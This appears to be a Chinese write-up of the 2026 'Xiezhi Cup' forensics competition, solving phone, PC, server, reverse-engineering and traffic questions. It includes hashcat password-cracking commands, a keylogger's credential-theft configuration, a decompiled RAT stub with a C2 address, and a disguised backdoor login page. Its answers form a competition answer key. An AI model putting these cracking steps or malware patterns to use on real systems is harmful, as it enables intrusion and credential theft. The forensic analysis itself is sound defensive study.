獬豸杯 2026 团队赛

第三届 “聚合獬豸杯” 全国电子数据取证大赛【全解】

围绕 獬豸杯 的公开复盘与解题记录。

作者:Rhea 发布日期:2026-08-18 29 次阅读
# 0x00 前言
检材密码:EVJbYf&+eStnx5B+C^bj%YPSr)gr

> 中间火眼许可过期了,用了其他工具,痛苦面具
>

## 签到题
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/99065567ba0e5e409aac6759b028dea3e0859ce9.png?v=99065567ba0e)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/bb2a38a86b8860e3fdd5c3dbf947f412c9c1d86c.png?v=bb2a38a86b88)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/d992351fbcb9b215b0804a0b00a50631e2ae1ab3.png?v=d992351fbcb9)

flag{Welcome_to_the_3rd_JuHeXieZhi_Cup}

# 0x01 检材1-手机取证
## 1.请分析检材1:手机的序列号是什么?【答案格式:AB65CDEFG6HIJKLM,字母全部大写】
在`adb\ksu\log\dmesg.log`

+ `init: Loading module ... serialno=AM69VKKVU4CMGELB`
+ `Init cannot set 'ro.boot.serialno' to 'AM69VKKVU4CMGELB'`

serialno火眼全局搜即可

`AM69VKKVU4CMGELB`

## 2.请分析检材1:该手机的具体型号是什么?【答案格式:小米17至尊版】
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/9bf5f6b2ba0812c3ca086f9b47b6520c6313b228.png?v=9bf5f6b2ba08)

火眼,基本信息这可以看到,一加Ace,基本型号,具体还要搜索

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/73e7acc20b77c1c6b7c5312cda7da393ce6bb98f.png?v=73e7acc20b77)

**<font style="color:rgb(0, 0, 0);">一加Ace5至尊版</font>**

## 3.请分析检材1:手机中已删除的联系人手机号码是什么?【答案格式:12345678910】
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/67037a9a11d2b9a18fbde0f995feb887510f023b.png?v=67037a9a11d2)

13696966666

## 4.请分析检材1:手机中找到密码本文件,计算其MD5哈希值,取后6位,字母大写。【答案格式:EF3898】
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/057ee2eab871162bbbd83ed96ed790fd4629b4e6.png?v=057ee2eab871)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/a50df38d81a0dc54c315e548c6d837c2b314293b.png?v=a50df38d81a0)

<font style="color:rgba(0, 0, 0, 0.87);">AD3563</font>

## 5.请分析检材1:嫌疑人下载的图片隐写工具名称是什么?【答案格式:outguess.zip,英文小写】
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/8864519615e43ab18fad7a33fdf46ac20a8e3958.png?v=8864519615e4)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/504db147d451003ade0d89d9c4376cea5b752d91.png?v=504db147d451)

steghide-0.5.1-win32.zip

## 6.请分析检材1:嫌疑人使用隐写工具进行文件隐写密码是什么?【答案格式:ABCD@202002】
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/4b8506f2a9827cb9c52af5956052de267752bde5.png?v=4b8506f2a982)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/f89136da9585f3e38f7694483cf78b37fb593361.png?v=f89136da9585)

important.jpg,刚刚的密码本里找到爆破

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/5f45966fae23c439b9412dae59b7328e24976285.png?v=5f45966fae23)

`steghide` 本身**没有密码本爆破功能**,已知密码时才用它提取。用密码本爆破应使用 **stegseek**

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/49f4c12d42c0f5cd68210cdc50469f0720b87297.png?v=49f4c12d42c0)

`JHTJ@202605`

## 7.请分析检材1:嫌疑人向数据贩子购买公民个人信息共计多少条?【答案格式:123】
肯定聊天软件找,

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/7f4d1cb78e3a055049f4d75112c2cc1b37c0e9b2.png?v=7f4d1cb78e3a)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/f33b9ab923935da17e2f17659938d96658f3e30e.png?v=f33b9ab92393)

应该是这三个,找一下数据库

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/ea1e12c3e0a1a9baa34d6514340b2b234529e759.png?v=ea1e12c3e0a1)

在连趣这里找到了

100

## 8.请分析检材1:嫌疑人向数据贩子交易时使用的付款方式是什么?【答案格式:支付宝】
继续往后看

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/232063eea9754671de36bca4340dff50a3ea6ed1.png?v=232063eea975)

发现,钱的封面是往 i聊 去了,去看看

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/722ee9d68b5f000ff249124fd6b7f4165f45dd47.png?v=722ee9d68b5f)

银行卡【下题都提示了...】

## 9.请分析检材1:数据贩子交易过程中提供的银行卡号是多少?【答案格式:6222351234482925678】
 工商银行卡号:6222355973482923738

## 10.请分析检材1:接上题,嫌疑人所使用聊天工具的用户 ID 是多少?【答案格式:12345】
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/4df870e81442791aea6d349910825b69e4186f06.png?v=4df870e81442)

之前连趣里不是有让它发码吗

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/385541714144f176a1a5633153ade680bd499477.png?v=385541714144)

扫一下就有,17706223971,但是不对,这是电话

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/b6882a54c441f12daccaa5fb329cfaef01902705.png?v=b6882a54c441)

<font style="color:rgba(0, 0, 0, 0.9);">在这里,10000</font>

<font style="color:rgba(0, 0, 0, 0.9);">看这位博主的仿真吧,我一直是白屏</font>

[https://mp.weixin.qq.com/s/CS3fk3LpTAzusXm4aq7m9Q?scene=1](https://mp.weixin.qq.com/s/CS3fk3LpTAzusXm4aq7m9Q?scene=1)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/f0e20afcc85b397681fd8eef377bc2cd347ccb51.png?v=f0e20afcc85b)

## 11.请分析检材1:嫌疑人使用浏览器访问了该下载链接,该浏览器对应的包名是什么?【答案格式:com.heytap.market】
下载了啥啊,有点懵,继续看聊天记录

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/564ceef12b8be3cde15edef9081c485950d43cd2.png?v=564ceef12b8b)

看百度网盘打开痕迹

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/cde1523c9998eedbc557f6a03e1a5400f01b05bf.png?v=cde1523c9998)

四个浏览器

com.tugoubutu.liulanqi

com.meiit.browser

com.heytap.browser

com.apk.pandaBrowser

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/980a2b0dcf6a9da8e449dccbd7f62a28fbd47f96.png?v=980a2b0dcf6a)

com.meiit.browser

## 12.请分析检材1:嫌疑人于何时下载数据商人发送的数据压缩包文件?【答案格式:2022-02-02 12:00:00】
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/5cba646aef7b63c90afe3f5201d48d03563e5f65.png?v=5cba646aef7b)

1778576405873

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/f11aae462cd9729142bc4602528093d9c71353cb.png?v=f11aae462cd9)

北京时间+8,所以就是2026-05-12 17:00:05

## 13.请分析检材1:接上题,该压缩包的解压密码是什么?【答案格式:根据实际值填写】
密码是手机号码,17706223971

## 14.请分析检材1:接上题,年龄在 40 至 60 岁(含 40、60 岁)的富豪共有多少人?【答案格式:123】
压缩包在 检材1\media\0\Download\BaiduNetdisk

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/fc78920cfb05028c84c71fc1aca5b22858d26f1c.png?v=fc78920cfb05)

46

## 15.综合分析:请找出嫌疑人筛选的重点客户名单,并统计名单内共有多少人?【答案格式:1】
之前important.jpg里有那个.z01前面是乱码

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/a3bef7b3210e23ea9e57f245b25cc5c551faedf1.png?v=a3bef7b3210e)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/abbd8e4406686b1c983634830e0d5982a89b1885.png?v=abbd8e440668)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/d22b00b24517ec0e76729cb30126f04b762a4076.png?v=d22b00b24517)

解压不出开,wps会员修一下xlsx

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/ec699ec71fc80038b3b3fdd31117535419aa82be.png?v=ec699ec71fc8)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/7c8162324cb4c3051f61d6c90c40cd61f449e6a0.png?v=7c8162324cb4)

[https://mp.weixin.qq.com/s/CS3fk3LpTAzusXm4aq7m9Q?scene=1](https://mp.weixin.qq.com/s/CS3fk3LpTAzusXm4aq7m9Q?scene=1)

看到这个大佬说,计算机检材<font style="color:rgb(49, 38, 28);">的回收站</font>里有 zip主卷

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/4e6e6b4118239ff6c97b5884a0e7b73627b25615.png?v=4e6e6b411823)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/40b98d133d0378be14bed356e56e81f1ba0e37bb.png?v=40b98d133d03)

那就是这个zip了,改一下名字

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/5e7033fe33da87635ea0bfdb3058b9f486ef32fb.png?v=5e7033fe33da)

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/90929d23b575d38c011d0c07346cc25a9077c345.png?v=90929d23b575)

成功,答案**5**

# 0x02 检材2-计算机取证
<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/41f58e10576b3d25354422e69c63071929ec25b4.png?v=41f58e10576b)

**仿真**

[https://blog.csdn.net/2301_80753596/article/details/148312052](https://blog.csdn.net/2301_80753596/article/details/148312052)

1. 点击菜单 **File → Export Disk Image**,也可以点击工具栏中的“导出磁盘镜像”按钮。
2.  在镜像类型中选择: Raw (dd)
3.  分卷大小选择不分卷,设置为0

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/bd15fd66f45d83f17cb0f5ef1983f22bfa847c3c.png?v=bd15fd66f45d)

4.  勾选: Verify images after they are created

<!-- 这是一张图片,ocr 内容为: -->
![](/editor-assets/2026/07/8face7df849adc372f0cfe92ffb8037665cd1677.png?v=8face7df849a)

然后开始导出

```plain
.\qemu-img.exe info "H:\shenshou\2.001"

.\qemu-img.exe convert -p -f raw -O vmdk "H:\shenshou\2.001" "H:\shenshou\2.vmdk"

参数含义:

-p       显示转换进度
-f raw   输入文件为 RAW/DD
-O vmdk  输出为 VMware VMDK

转换完成后检查:

.\qemu-img.exe info "H:\shenshou\2.vmdk"

还可以检查 VMDK 一致性:

.\qemu-img.exe check "H:\shenshou\2.vmdk"

正常应显示类似:

No errors were found on the image.

没密码直接进了

1.请分析检材2:密码连续错误输入多少次数后,系统会自动锁定用户账户?【答案格式:1】

net accounts

3

2.请分析检材2:检材中对应的微信 wxid 是多少?【答案格式:wxid_1a2b3c4d5e6f】

没有微信程序

文档这里有wx的痕迹

这就是wxid了,wxid_q1w2e3r4t5y6u7i8o9

3.请分析检材2:E盘 BitLocker 恢复密钥末尾六位是多少?【答案格式:616912】

桌面上有个txt文件

诈骗人的,094050-520520-108977-349547-229570-605385-215974-052118 不是

刚刚的微信应该是提示

有两个码(豆包??)

288299-415613-320683-425546-455752-701327-044110-126269

答案:126269

4.请分析检材2:VC加密容器的外层加密卷密码是什么?【答案格式:根据实际值填写】

看不了,改后缀了吗?010打开看看

txt文件

刚刚看到有个1,无后缀应该是加密卷

空的??

答案:JHTJ!@#¥A313

5.请分析检材2:带有“豆包AI生成”水印的图片一共有多少张?【答案格式:1】

4+第三题还有两张

答案:6

6.请分析检材2:VC加密容器的隐藏加密卷密码是什么?【答案格式:根据实际值填写】

应该跟上面的图有关系,找一下

第三张图,blue0有一个码

不行啊,桌面上有个钥匙的图案试试

可以了

答案:ClearSky@SecretSignal#SevenMileJasmine

7.请分析检材2:接上题,嫌疑人的接头暗号是什么?【答案格式:根据实际值填写】

隐藏卷里的Secret Signal.wav,听了一下没得,AUdacity

接头暗号:步行9千米

8.请分析检材2:接上题,嫌疑人的接头地点在哪里?【答案格式:天津117大厦201室】

一串二进制11011010,文件名还是异或,前面咱们有看到几张图也有二进制

按顺序提出来

Taipei 101 building 502 room

错的哎

我去找了一下,现实还真有这个是叫大楼

答案:台北101大楼502室

9.请分析检材2:木马残留样本中,核心信息窃取配置数量为多少?【答案格式:1】

回到E盘,之前发现有个c文件

g_KEYLOG_CLASS

只是窗口类名,用来伪装/创建窗口或消息窗口。

g_KEYLOG_TITLE

只是窗口标题,类似伪装名称。

它们不直接表示“要窃取什么数据”或者“窃取结果保存在哪里”,所以不计入信息窃取配置数量。

1. g_KEYLOG_PATH        → 键盘记录保存路径,1 个

2. g_SCREENSHOT_FMT     → 截图文件名格式,1 个
3. g_SCREENSHOT_DIR     → 截图保存目录,1 个

4. Chrome              → 浏览器目标,1 个
5. Firefox             → 浏览器目标,1 个
6. Edge                → 浏览器目标,1 个
7. Opera               → 浏览器目标,1 个
8. Brave               → 浏览器目标,1 个

9. g_BROWSER_DB        → 浏览器登录数据 Login Data,1 个
10. g_COOKIE_DB        → Cookie 数据库 Cookies,1 个

答案:10

10.请分析检材2:木马残留样本中,申请的内存保护标志是什么?【答案格式:PAGE_READWRITE (0x04)】

VirtualAllocEx() 的参数含义大概是:

VirtualAllocEx(
    目标进程句柄,
    申请地址,
    申请大小,
    内存分配类型,
    内存保护标志
);

最后一个参数就是题目问的PAGE_EXECUTE_READWRITE,它的十六进制值是:0x40

注意源码后面还有一个干扰项:

VirtualAllocEx(GetCurrentProcess(), NULL, 4096, MEM_RESERVE, PAGE_READWRITE);

这个是 main() 里的假调用/干扰行为,保护标志是 PAGE_READWRITE (0x04)。题目问的是木马样本中用于进程注入申请的内存保护标志,应该选前面的:PAGE_EXECUTE_READWRITE (0x40)

11.请分析检材2:嫌疑人涉案交易使用的银行卡号是什么?【答案格式:纯数字】

前面文档那发现果一个银行卡.xlsx

要密码,边上有txt提示

有三个时间,应该是最后修改时间吧20260512

算好哈希,https://hashes.com/zh/johntheripper/office2john

$office$*2007*20*128*16*3fde2e2b8469111ac5658b678c6f9478*d078ba8c0688890eeca29f194d9d0ff7*944188dc1201c83e810306030748805ccf9e1570

hashcat掩码爆破

hashcat.exe -m 9400 -a 3 -1 ?l?u hash.txt "?1?1?1?1?s20260512"

JUHE@20260512

6221882234367490125

12.请分析检材2:AI 换脸图片大概率使用的 AI 模型是哪一个?【答案格式:根据实际值填写】

还是在这里

https://hivedetect.ai

不知道答案是啥

13.请分析检材2:萤小石的身份证号码是什么?【答案格式:纯数字】

被隐藏了

随波逐流修好了,或者直接wps解压

还是没号

藏在尾部

330122199801209527

14.请分析检材2:小众通联工具绑定的手机号码为多少?【答案格式:纯数字】

.ldbk雷电模拟器(LDPlayer)的备份文件

题目说的小众通联工具就是 i聊了,打开又是白屏

后缀改成7z,解压

直接分析data.vmdk

18136091921

15.请分析检材2:小众通联工具添加好友的具体时间是什么?【答案格式:2025-01-01 01:01:01】

加搁浅的时间

+8

2026-05-13 16:12:37

16.请分析检材2:挖矿程序(请勿在本地运行)的版本是什么?【答案格式:1.00.1】

在用户痕迹里边可以发现有一个可疑程序timo

C:/Windows/windows可疑的路径

看看配置文件

config.json 里有 XMRig 典型的 randomxcpuopenclcudapoolsdonate-levelpause-on-batterypause-on-active 等配置项

6.26.0

17.请分析检材2:门罗币钱包地址后6位是什么?【答案格式:根据实际值填写】

上题知,6soTWp

0x03 检材3-服务器取证

1.请分析检材3:服务器的内核版本号是多少?【答案格式:4.25.0】

3.10.0

2.请分析检材3:嫌疑人将某普通用户加入特殊用户组,赋予其读取 /etc/shadow 的权限,请问该普通用户的用户名是什么?【答案格式:admin】

查看 **<font style="color:rgb(34, 34, 34);">/etc/shadow</font>** 文件的详细访问控制列表(ACL)权限

getfacl /etc/shadow

这表示用户 ahao 对 /etc/shadow 有读取权限

答案:ahao

3.请分析检材3:分析嫌疑人所使用的 Web 服务器,其具体名称及主版本号是什么?【答案格式:apache/2.40】

nginx/1.20

4.请分析检材3:嫌疑人借助 AI 部署 “守卫” 脚本,非管理员 IP 登录时将触发定时强制登出,该服务每隔几分钟触发一次?【答案格式:10】

已经体验到了,怪不得ssh一会就断连了

查找静态定时任务,

发现这个定时任务

这里可以知道每30s检测一次,检测到5分钟后踢出。

顺便把这个烦人的设置弄掉

5

5.请分析检材3:计算服务器内数据库备份文件,计算其SHA256哈希值,取后6位,字母大写。【答案格式:6DEF3898】

啥也没有,在计算机加密的E盘的文件

FF8180

6.请分析检材3:MySQL 数据库 root 用户的登录密码是什么?【答案格式:根据实际值填写】

知道网站的站点目录映射到/usr/share/nginx/html中找到fk目录下,存在整个网站的配置文件

答案:Root@123456

7.请分析检材3:外挂网站所对外开放的端口号是多少?【答案格式:1234】

这边查看nginx服务器配置文件

可以看到开放端口是 8081

8.请分析检材3:嫌疑人为上传大型恶意插件修改文件上传限制,其最大上传限制是多少?【答案格式:100M】

nginx.conf 里看到的,

location ~ \.php$ {
      root /usr/share/nginx/html;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_index index.php;
      fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
      include fastcgi_params;
  }

这说明站点把 .php 请求交给本机 127.0.0.1:9000 的 PHP-FPM 处理,这说明网站跑的是 Nginx + PHP-FPM/PHP

常见位置按优先级看:

PHP: /etc/php.ini

Nginx: /etc/nginx/nginx.conf 或 /etc/nginx/conf.d/*.conf

Apache: /etc/httpd/conf/httpd.conf 或 .htaccess

/etc/php.ini就找到了

同时在编辑 nginx 配置时出现过: client_max_body_size 60M;(见 .nginx.conf.swp)

答案:60M

9.请分析检材3:嫌疑人设置数据库定时自动备份并上传至境外,请问该境外服务器的IP地址是多少?【答案格式:8.8.8.8]】

这里找定时任务,找到关键词含有backup,或者auto的脚本,找到路径锁定

8.208.44.202

10.请分析检材3:嫌疑人登录后台的目录路径是什么?【答案格式:/abc/abc】

前面已经知道: fk 是网站根目录 root /usr/share/nginx/html 下的一个子目录

这里会得到两个候选:

/usr/share/nginx/html/fk/admin/login.php

/usr/share/nginx/html/fk/static/login.php

对比差异:

diff -u /usr/share/nginx/html/fk/admin/login.php /usr/share/nginx/html/fk/static/login.php

这个 diff 的意思是:左边是原来的 /fk/admin/login.php,右边是 /fk/static/login.php。以 - 开头的是左边文件里的内容,以 +

开头的是右边文件新增/不同的内容。

关键差异有三处。

第一处:

-$verifycode = 0;//验证码开关

+$verifycode = 1;//验证码开关

说明:

admin/login.php:验证码关闭

static/login.php:验证码开启

第二处:

+define('PWD', '2025baofu!');

说明 /fk/static/login.php 多了一个常量:

PWD = 2025baofu!

这是一个独立密码盐。它不是普通页面该有的东西,是登录认证逻辑的一部分。

第三处:

  • $pass = hash('sha256', $pass .PWD);

说明 /fk/static/login.php 在校验密码前,把用户输入的密码拼接 2025baofu! 后做 SHA256:

用户输入密码 + 2025baofu! -> sha256

也就是说 /fk/static/login.php 的登录密码校验逻辑和 /fk/admin/login.php 不一样,它有一套单独的加盐哈希逻辑。

所以:

/fk/admin/login.php:普通后台登录入口,验证码关闭,没有独立密码盐。

/fk/static/login.php:伪装在 static 目录下的后台登录入口,验证码开启,有独立密码盐 PWD='2025baofu!',密码用 sha256(pass + PWD) 处理。

/fk/static/login.php 更像嫌疑人专门改出来的隐蔽后台入口

答案:/fk/static

11.请分析检材3:访问后台登录页面次数最多的 IP 地址是什么?【答案格式:192.168.1.1】

上一题已经确定后台登录页是:/fk/static/login.php

所以思路就是: 读 nginx 日志

-> 只保留访问 /fk/static/login.php 的记录

-> 提取第 1 列 IP

-> 统计每个 IP 出现次数

-> 排序取最多的

zcat -f /var/log/nginx/access.log* \
  | grep "/fk/static/login.php" \
  | awk '{print $1}' \
  | sort \
  | uniq -c \
  | sort -rn \
  | head -1

答案:192.168.203.135

12.请分析检材3:网站后台管理员的明文密码为多少?【答案格式:根据实际值填写】

用火眼的数据库取证工具,打开E盘那个sql文件,shua_config表下

密码哈希是:94bd34e3010a6468f312eafe359e9d926fc16bba62c0b6cf646d041a5c281bf2

从第十题 /fk/static/login.php 知道:

define('PWD', '2025baofu!');
$pass = hash('sha256', $pass.PWD);

这表示: sha256(明文密码 + 盐值)

hashcat 对应模式就是:-m 1410 = sha256($pass.$salt)

所以命令:

答案:abc123456

13.请分析检材3:该网站支付接口所对接的第三方接入商名称是什么?【答案格式:根据实际值填写】

刚刚数据库里好像看到了,

支付接口编号:13

在网站源码的支付接口配置set.php:

源码开了混淆,蹭个玫佬的代码

[+] 已输出还原代码: set.deobf.php
[+] 已输出全部字符串: set.strings.txt
[+] 找到 value=13 对应: 无忧支付

仿真好像看的蛮清楚的,学习一下https://mp.weixin.qq.com/s/7uB4AGQSySpq6EmAV6CPKA

开启mysql,再导入数据库

systemctl start mysqld || systemctl start mariadb
systemctl start nginx
systemctl start php-fpm || systemctl start php7.4-fpm
mysql -uroot -pRoot@123456 -e "CREATE DATABASE IF NOT EXISTS faka DEFAULT CHARSET utf8mb4;"
mysql: [Warning] Using a password on the command line interface can be insecure.
mysql -uroot -p'Root@123456' faka < /root/faka_backup.sql
mysql: [Warning] Using a password on the command line interface can be insecure.

改网站配置连本机库

/usr/share/nginx/html/fk/config.php,

$host = '127.0.0.1';   // 改成仿真 IP 或 127.0.0.1

还要改一下源码,把验证码关掉,不然会一直卡在验证码错误

/usr/share/nginx/html/fk/static/login.php,

$verifycode = 0;  //关验证码

Linux 防火墙放行 8081

# firewalld(CentOS 常见)
firewall-cmd --add-port=8081/tcp --permanent
firewall-cmd --reload
firewall-cmd --list-ports

连不上

# 1. 用已有 faka 生成 fk
mysql -uroot -p'Root@123456' -e "CREATE DATABASE IF NOT EXISTS fk DEFAULT CHARSET utf8mb4;"
mysqldump -uroot -p'Root@123456' faka | mysql -uroot -p'Root@123456' fk

# 2. 确认
mysql -uroot -p'Root@123456' -e "SHOW DATABASES; USE fk; SHOW TABLES; SELECT k,v FROM shua_config WHERE k IN ('payapi','admin_user','epay_pid');"

# 3. 重启 PHP
systemctl restart php-fpm

# 4. 本机测试
curl -s http://127.0.0.1:8081/fk/static/ | head -30

用拿到的密码admin/abc123456登录后台

系统设置-支付接口配置

答案:无忧支付

14.请分析检材3:网站的创建时间是什么时候?【答案格式:2026/5/20】

2018/12/14

15.请分析检材3:网站Git配置信息中,找出作者姓名是什么?【答案格式:根据实际值填写

网站的 Git 配置信息保存在 backup_config.txt 里

base64解码,得到GhostOperator,这是迷惑项

历史命令里能看到,

Git 配置被藏到图标目录

没有?

ls -la /usr/share/icons/hicolor/48x48/apps/
总用量 16
drwxr-xr-x.  3 root root   94 5月  13 20:26 .
drwxr-xr-x. 15 root root  202 5月  11 23:24 ..
drwxr-xr-x.  2 root root   21 5月  13 20:32 ... 
-rw-r--r--.  1 root root 4246 3月   8 2014 anaconda.png
-rw-r--r--.  3 root root 2531 3月   8 2014 fedora-logo-icon.png
-rw-r--r--.  3 root root 2531 3月   8 2014 system-logo-icon.png

grep -Rni "name" /usr/share/icons/hicolor/48x48/apps/ 2>/dev/null
/usr/share/icons/hicolor/48x48/apps/... /git.txt:7:	name = 576d6868626d6454595735665532566a

很阴啊,三个点还有个空格

答案:ZhangSan_Sec

16.请分析检材3:分析该网站 2025 年 6 月 1 日至 12 月 31 日的全部订单,其中状态为 "已完成" 的订单总成交金额为多少?【答案格式:1234】

都在shua_orders表里

SELECT 
    SUM(money) AS total_amount
FROM 
    shua_orders
WHERE 
    status = 1
    AND addtime >= '2025-06-01'
    AND addtime <= '2025-12-31 23:59:59';

24073

17.请分析检材3:分析 2025 年全年的订单数据,计算下单金额总计最高的那一天的总金额是多少?【答案格式:1234】

SELECT
      DATE(addtime) AS order_date,
      SUM(money) AS daily_total
  FROM shua_orders
  WHERE addtime >= '2025-01-01'
    AND addtime <  '2026-01-01'
  GROUP BY DATE(addtime)
  ORDER BY daily_total DESC
  LIMIT 1;

5442

18.请分析检材3:统计全部订单数据,购买数量累计最高的应用名称是什么?【答案格式:根据实际值填写】

SELECT 
    t.name AS app_name,
    SUM(o.value) AS total_quantity
FROM 
    shua_orders o
LEFT JOIN 
    shua_tools t ON o.tid = t.tid
WHERE 
    t.name IS NOT NULL
GROUP BY 
    t.name
ORDER BY 
    total_quantity DESC
LIMIT 1;

无畏契约自动扳机+透视+准星辅助

19.请分析检材3:统计全部订单数据,用户累计购买总额最高的用户账号是哪个?【答案格式:admin】

SELECT 
    s.user AS username,
    t.total_spent
FROM 
    shua_site s
INNER JOIN (
    SELECT 
        userid,
        SUM(money) AS total_spent
    FROM 
        shua_orders
    GROUP BY 
        userid
    ORDER BY 
        SUM(money) DESC
    LIMIT 1
) t ON s.zid = t.userid;

15480

20.请分析检材3:嫌疑人创建的拥有 FILE 与 SUPER 权限的隐蔽 MySQL 账户,其用户名是什么?【答案格式:admin】

回服务器里,

mysql -uroot -p'Root@123456' -e "SELECT User,Host,File_priv,Super_priv FROM
> mysql.user WHERE File_priv='Y' AND Super_priv='Y';"

_tmp_z5m1w8

0x04 检材4-逆向分析

1. 样本中的 C2 地址与端口分别是多少?【答案格式:127.0.0.1:8080】

python313的

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'edu_ratsample.py'
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

# ***<module>: Failure: Different control flow
import base64
import socket
import sys
import time
C2_HOST = '192.0.2.1'
C2_PORT = 64123
BEACON_B64 = 'eyJ0IjoiYmVhY29uIiwidiI6IjEuMCJ9'
MUTEX_NAME = 'Global\\EduLab_RAT_Mutex_2026'
USER_AGENT = 'Mozilla/5.0 (EduLab; Win32) RAT-Stub/1.0'
def _xor(data: bytes, key: bytes) -> bytes:
    return bytes((b ^ key[i % len(key)] for i, b in enumerate(data)))
def build_payload() -> bytes:
    raw = base64.b64decode(BEACON_B64)
    key = b'EDU'
    return _xor(raw, key)
def try_connect() -> None:
    # ***<module>.try_connect: Failure: Different control flow
    s, payload = (build_payload(), socket.socket(socket.AF_INET, socket.SOCK_STREAM))
    try:
        pass
    except OSError:
        pass
    finally:
        s.close()
def main() -> int:
    _ = MUTEX_NAME
    try_connect()
    return 0
sys.exit(main()) if __name__ == '__main__' else None

这是**Python 编写的远控木马(RAT,远程控制工具)** 反编译代码,伪装成教育程序,用于连接攻击者 C2 控制服务器,属于恶意木马程序,运行后会主动外联黑客主机,泄露本机信息、接受远程指令

192.0.2.1:64123

2. 样本使用的传输层协议是什么?【答案格式:HTTP】(全大写)

socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建 TCP 网络套接字

TCP

3. 样本外发的 User-Agent 完整字符串是什么?【按实际值填写】

USER_AGENT = 'Mozilla/5.0 (EduLab; Win32) RAT-Stub/1.0' 
# 通信伪装UA,明文标注这是RAT远控存根(RAT-Stub),伪装教育软件EduLab

Mozilla/5.0 (EduLab; Win32) RAT-Stub/1.0

4. Beacon 的 Base64 常量是什么?【按实际值填写】

Beacon【 网络安全术语**心跳包**,木马定期发给黑客服务器,上报 “本机在线”,等待下发控制命令 】常量是:

eyJ0IjoiYmVhY29uIiwidiI6IjEuMCJ9

用 Python 解码:

import base64

s = "eyJ0IjoiYmVhY29uIiwidiI6IjEuMCJ9"
print(base64.b64decode(s).decode())

输出:{"t":"beacon","v":"1.0"}

5. 样本中出现的 Mutex 名称是什么?【按实际值填写】

MUTEX_NAME = 'Global\\EduLab_RAT_Mutex_2026'
# Windows全局互斥锁:防止木马重复多开,系统级标记恶意进程

答案:Global\EduLab_RAT_Mutex_2026

6. 是否具备注册表 Run、计划任务、服务安装或 UAC 绕过等行为?

搜索这些关键词:

grep -RniE "Run|schtasks|Task Scheduler|CreateService|sc.exe|ShellExecute|runas|UAC|reg add|HKCU|HKLM|CurrentVersion\\Run" .

没有发现

7. 该 exe 由何种方式打包?【答案格式:全大写】

PYINSTALLER

0x05 检材5-流量分析

1. 内网用户向 intranet.corp.lab 提交登录表单。请给出 POST 正文里 password 字段的 解码后的提交值【按实际值填写】

能看到 POST 正文:

username=alice&password=LabPass%23Q7&remember=1

其中 %23 是 URL 编码,解码后是 #

所以:password = LabPass#Q7

2. 客户端 10.10.10.50 向 DNS 10.10.10.53 发起一次查询。Queries 中的域名看似随机十六进制。请将该段十六进制视为 ASCII 的十六进制表示,还原出可读字符串(即解码后的域名语义)【按实际值填写】

能看到查询域名类似:

6578616c7468726561642d64726f702e696e7472616e65742e6c61622e

把这段当 ASCII Hex 解码。

可以用 Python:

h = "6578616c7468726561642d64726f702e696e7472616e65742e6c61622e"
print(bytes.fromhex(h).decode())

输出:

exalthread-drop.intranet.lab.

答案:exalthread-drop.intranet.lab

3. 哪台客户端对哪台 FTP 服务器完成了认证?【答案格式:127.0.0.1-192.168.0.1】

230 表示登录成功。

然后看这一条流的 IP:

10.10.10.50 -> 10.10.10.101

所以:

完成认证:10.10.10.50-10.10.10.101
账号密码:bob-Ftp_S3cret_9z

答案:10.10.10.50-10.10.10.101

4. USER 与成功登录前的 PASS 明文分别是什么?【答案格式:USER-PASS 例:admin-123456】

如上,bob-Ftp_S3cret_9z

5. 存在来自外网段地址对 10.10.10.50 的 ICMP Echo 请求。请提取 ICMP 数据部分中隐藏的完整FLAG。【答案格式:ICMP_COVERT_FLAG {123_abc_def}】

